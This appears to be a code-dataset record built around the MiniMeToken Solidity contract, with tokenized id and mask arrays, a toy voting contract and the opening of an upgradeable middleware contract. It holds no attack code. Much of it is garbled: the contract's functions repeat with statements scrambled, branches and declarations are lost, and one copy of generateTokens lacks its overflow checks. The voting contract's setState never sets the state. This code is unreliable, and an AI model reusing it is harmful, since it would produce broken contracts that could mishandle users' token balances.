a function is triggered in the contract that is * being approved, `_spender`. This allows users to use their tokens to * interact with contracts in one function call instead of two * @param _spender The address of the contract able to transfer the tokens * @param _amount The amount of tokens to be approved for transfer * @return True if the function call was successful */ function approveAndCall( address _spender, uint256 _amount, bytes _extraData ) external returns (bool success) { require(doApprove(msg.sender, _spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /** * @dev This function makes it easy to get the total number of tokens * @return The total number of tokens */ function totalSupply() external view returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /** * @dev Queries the balance of `_owner` at a specific `_blockNumber` * @param _owner The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at `_blockNumber` */ function balanceOfAt( address _owner, uint _blockNumber ) public view returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /** * @notice Total amount of tokens at a specific `_blockNumber`. * @param _blockNumber The block number when the totalSupply is queried * @return The total amount of tokens at `_blockNumber` */ function totalSupplyAt(uint _blockNumber) public view returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /** * @notice Creates a new clone token with the initial distribution being * this token at `_snapshotBlock` * @param _cloneTokenName Name of the clone token * @param _cloneDecimalUnits Number of decimals of the smallest unit * @param _cloneTokenSymbol Symbol of the clone token * @param _snapshotBlock Block when the distribution of the parent token is * copied to set the initial distribution of the new clone token; * if the block is zero than the actual block, the current block is used * @param _transfersEnabled True if transfers are allowed in the clone * @return The address of the new MiniMeToken Contract */ function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { uint snapshotBlock = _snapshotBlock; if (snapshotBlock == 0) { snapshotBlock = block.number; } MiniMeToken cloneToken = tokenFactory.createCloneToken( this, snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain emit NewCloneToken(address(cloneToken), snapshotBlock); return address(cloneToken); } //////////////// // Generate and destroy tokens //////////////// /** * @notice Generates `_amount` tokens that are assigned to `_owner` * @param _owner The address that will be assigned the new tokens * @param _amount The quantity of tokens generated * @return True if the tokens are generated correctly */ function generateTokens( address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupplyAt(block.number); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOfAt(_owner, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); emit Transfer(0, _owner, _amount); return true; } /** * @notice Burns `_amount` tokens from `_owner` * @param _owner The address that will lose the tokens * @param _amount The quantity of tokens to burn * @return True if the tokens are burned correctly */ function destroyTokens( address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupplyAt(block.number); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOfAt(_owner, block.number); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /** * @notice Enables token holders to transfer their tokens freely if true * @param _transfersEnabled True if transfers are allowed in the clone */ function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /** * @dev `getValueAt` retrieves the number of tokens at a given block number * @param checkpoints The history of values being queried * @param _block The block number to retrieve the value at * @return The number of tokens being queried */ function getValueAt( Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) { return 0; } // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /** * @dev `updateValueAtNow` used to update the `balances` map and the * `totalSupplyHistory` * @param checkpoints The history of data being updated * @param _value The new number of tokens */ function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ( (checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } /** * @dev Internal function to determine if an address is a contract * @param _addr The address being queried * @return True if `_addr` is a contract */ function isContract(address _addr) internal view returns(bool) { uint size; if (_addr == 0) { return false; } assembly { size := extcodesize(_addr) } return size > 0; } /** * @dev Helper function to return a min betwen the two uints */ function min(uint a, uint b) internal returns (uint) { return a < b ? a : b; } /** * @notice The fallback function: If the contract&#39;s controller has not been * set to 0, then the `proxyPayment` method is called which relays the * ether and creates tokens as described in the token controller contract */ function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } ////////// // Safety Methods ////////// /** * @notice This method can be used by the controller to extract mistakenly * sent tokens to this contract. * @param _token The address of the token contract that you want to recover * set to 0 in case you want to extract ether. */ function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(address(this)); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /** * @dev This contract is used to generate clone contracts from a contract. * In solidity this is the way to create a contract from a contract of the * same class */ contract MiniMeTokenFactory { /** * @notice Update the DApp by creating a new token with new functionalities * the msg.sender becomes the controller of this clone token * @param _parentToken Address of the token being cloned * @param _snapshotBlock Block of the parent token that will * determine the initial distribution of the clone token * @param _tokenName Name of the new token * @param _decimalUnits Number of decimals of the new token * @param _tokenSymbol Token Symbol for the new token * @param _transfersEnabled If true, tokens will be able to be transferred * @return The address of the new token contract */ function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } }
* @dev The actual token contract, the default controller is the msg.sender that deploys the contract, so usually this token will be deployed by a token controller contract, which Giveth will call a "Campaign"/
contract MiniMeToken is MiniMeTokenInterface, Controlled { } Copyright 2016, Jordi Baylina struct Checkpoint { uint128 fromBlock; uint128 value; } address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public MiniMeToken public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; constructor( { tokenFactory = MiniMeTokenFactory(_tokenFactory); parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); if (allowed[_from][msg.sender] < _amount) { return false; } allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); if (allowed[_from][msg.sender] < _amount) { return false; } allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); if (allowed[_from][msg.sender] < _amount) { return false; } allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } function doTransfer( address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); if (previousBalanceFrom < _amount) { return false; } if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_to], previousBalanceTo + _amount); return true; } function doTransfer( address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); if (previousBalanceFrom < _amount) { return false; } if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_to], previousBalanceTo + _amount); return true; } require((_to != 0) && (_to != address(this))); uint256 previousBalanceFrom = balanceOfAt(_from, block.number); function doTransfer( address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); if (previousBalanceFrom < _amount) { return false; } if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_to], previousBalanceTo + _amount); return true; } function doTransfer( address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); if (previousBalanceFrom < _amount) { return false; } if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_to], previousBalanceTo + _amount); return true; } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); uint256 previousBalanceTo = balanceOfAt(_to, block.number); emit Transfer(_from, _to, _amount); function doApprove( address _from, address _spender, uint256 _amount ) internal returns (bool) { require(transfersEnabled); require((_amount == 0) || (allowed[_from][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(_from, _spender, _amount)); } allowed[_from][_spender] = _amount; emit Approval(_from, _spender, _amount); return true; } function doApprove( address _from, address _spender, uint256 _amount ) internal returns (bool) { require(transfersEnabled); require((_amount == 0) || (allowed[_from][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(_from, _spender, _amount)); } allowed[_from][_spender] = _amount; emit Approval(_from, _spender, _amount); return true; } function balanceOf(address _owner) external view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) external returns (bool success) { doApprove(msg.sender, _spender, _amount); } function allowance( address _owner, address _spender ) external view returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall( address _spender, uint256 _amount, bytes _extraData ) external returns (bool success) { require(doApprove(msg.sender, _spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() external view returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt( address _owner, uint _blockNumber ) public view returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(balances[_owner], _blockNumber); } } function balanceOfAt( address _owner, uint _blockNumber ) public view returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(balances[_owner], _blockNumber); } } function balanceOfAt( address _owner, uint _blockNumber ) public view returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(balances[_owner], _blockNumber); } } } else { } else { function totalSupplyAt(uint _blockNumber) public view returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(totalSupplyHistory, _blockNumber); } } function totalSupplyAt(uint _blockNumber) public view returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(totalSupplyHistory, _blockNumber); } } function totalSupplyAt(uint _blockNumber) public view returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(totalSupplyHistory, _blockNumber); } } } else { } else { function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { uint snapshotBlock = _snapshotBlock; if (snapshotBlock == 0) { snapshotBlock = block.number; } MiniMeToken cloneToken = tokenFactory.createCloneToken( this, snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); return address(cloneToken); } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { uint snapshotBlock = _snapshotBlock; if (snapshotBlock == 0) { snapshotBlock = block.number; } MiniMeToken cloneToken = tokenFactory.createCloneToken( this, snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); return address(cloneToken); } emit NewCloneToken(address(cloneToken), snapshotBlock); function generateTokens( address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupplyAt(block.number); uint previousBalanceTo = balanceOfAt(_owner, block.number); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); emit Transfer(0, _owner, _amount); return true; } function destroyTokens( address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupplyAt(block.number); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOfAt(_owner, block.number); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt( Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) { return 0; } if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } function getValueAt( Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) { return 0; } if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } function getValueAt( Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) { return 0; } if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } function getValueAt( Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) { return 0; } if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } uint min = 0; function getValueAt( Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) { return 0; } if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } function getValueAt( Checkpoint[] storage checkpoints, uint _block ) view internal returns (uint) { if (checkpoints.length == 0) { return 0; } if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } } else { function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ( (checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ( (checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } } else { function isContract(address _addr) internal view returns(bool) { uint size; if (_addr == 0) { return false; } assembly { size := extcodesize(_addr) } return size > 0; } function isContract(address _addr) internal view returns(bool) { uint size; if (_addr == 0) { return false; } assembly { size := extcodesize(_addr) } return size > 0; } function isContract(address _addr) internal view returns(bool) { uint size; if (_addr == 0) { return false; } assembly { size := extcodesize(_addr) } return size > 0; } function min(uint a, uint b) internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(address(this)); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(address(this)); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
7,725,693
[ 1, 1986, 3214, 1147, 6835, 16, 326, 805, 2596, 353, 326, 1234, 18, 15330, 225, 716, 5993, 383, 1900, 326, 6835, 16, 1427, 11234, 333, 1147, 903, 506, 19357, 635, 279, 225, 1147, 2596, 6835, 16, 1492, 611, 427, 546, 903, 745, 279, 315, 13432, 6, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 27987, 4667, 1345, 353, 27987, 4667, 1345, 1358, 16, 8888, 1259, 288, 203, 203, 203, 97, 203, 565, 25417, 12659, 16, 804, 517, 77, 605, 528, 7511, 69, 203, 203, 565, 1958, 25569, 288, 203, 203, 3639, 2254, 10392, 628, 1768, 31, 203, 203, 3639, 2254, 10392, 460, 31, 203, 565, 289, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 3639, 1758, 389, 2316, 1733, 16, 203, 3639, 1758, 389, 2938, 1345, 16, 203, 3639, 2254, 389, 2938, 24063, 1555, 352, 1768, 16, 203, 3639, 533, 389, 2316, 461, 16, 203, 3639, 2254, 28, 389, 12586, 7537, 16, 203, 3639, 533, 389, 2316, 5335, 16, 203, 3639, 1426, 389, 2338, 18881, 1526, 203, 565, 262, 7010, 3639, 1071, 203, 565, 27987, 4667, 1345, 1071, 982, 1345, 31, 203, 565, 2254, 1071, 982, 24063, 1555, 352, 1768, 31, 203, 565, 2254, 1071, 6710, 1768, 31, 203, 565, 2874, 261, 2867, 516, 25569, 63, 5717, 324, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 2935, 31, 203, 565, 25569, 8526, 2078, 3088, 1283, 5623, 31, 203, 565, 1426, 1071, 29375, 1526, 31, 203, 565, 27987, 4667, 1345, 1733, 1071, 1147, 1733, 31, 203, 203, 565, 3885, 12, 203, 565, 288, 203, 3639, 1147, 1733, 273, 27987, 4667, 1345, 1733, 24899, 2316, 1733, 1769, 203, 3639, 982, 1345, 273, 27987, 4667, 1345, 24899, 2938, 1345, 1769, 203, 3639, 982, 24063, 1555, 352, 1768, 273, 389, 2938, 24063, 1555, 352, 1768, 31, 203, 3639, 29375, 1526, 273, 389, 2 ]
pragma solidity >=0.8.0 <0.9.0; //SPDX-License-Identifier: MIT import "hardhat/console.sol"; // import "@openzeppelin/contracts/access/Ownable.sol"; // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol contract YourContract { //Defining the structures the contract will contain /**FFor this use case we have 2 structures: -Voter: Represent the person who will vote Proposa;: Represent the purpose that people will vote for. */ struct Voter{ uint weight; bool voted; uint choice; } struct Proposal{ uint numeberOfVotes; } mapping(address => Voter)voters; //Each voter structure has a address Proposal[] proposals; string public purpose = "Democracy contract"; Phase public contractState; enum Phase{Init,Regs,Vote,Done} address chairperson; // constructor(uint numberOfProposals) { // the number of proposals that will start the contract constructor(){ uint numOfProp=3; for(uint i=0;i<numOfProp;i++){ proposals.push(Proposal(0)); } chairperson=msg.sender; // what should we do on deploy? } //Generic function change state function setState(Phase x) public{ if(msg.sender != chairperson){ revert("You are not allowed to do this"); } if(contractState>x){ revert("You can't go back in states "); } } function setPurpose(string memory newPurpose) public { purpose = newPurpose; console.log(msg.sender,"set purpose to",purpose); // emit SetPurpose(msg.sender, purpose); } }
*FFor this use case we have 2 structures:/
struct Voter{ uint weight; bool voted; uint choice; }
5,449,783
[ 1, 42, 1290, 333, 999, 648, 732, 1240, 576, 12597, 27824, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 1958, 776, 20005, 95, 203, 565, 2254, 3119, 31, 203, 565, 1426, 331, 16474, 31, 203, 565, 2254, 6023, 31, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "../binarysearch/IBinarySearch.sol"; /// @custom:security-contact [email protected], [email protected] /// @title Middleware Security module for Rand Ecosystem /// @author Lee Marreros <[email protected]>, Adrian Lenard <[email protected]> /// @notice Allows contracts to be proxied through this middleware to track function call counts and amounts transferred with thresholds /// @dev Backend is calling contracts through this middleware, and if thresholds are exceeded the calls will be forwareded to a multisig for approval and resubmission contract Middleware is Initializable, PausableUpgradeable, AccessControlUpgradeable, UUPSUpgradeable { using SafeMathUpgradeable for uint256; bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant UPGRADER_ROLE = keccak256("UPGRADER_ROLE"); bytes32 public constant MIDDLEWARE_ROLE = 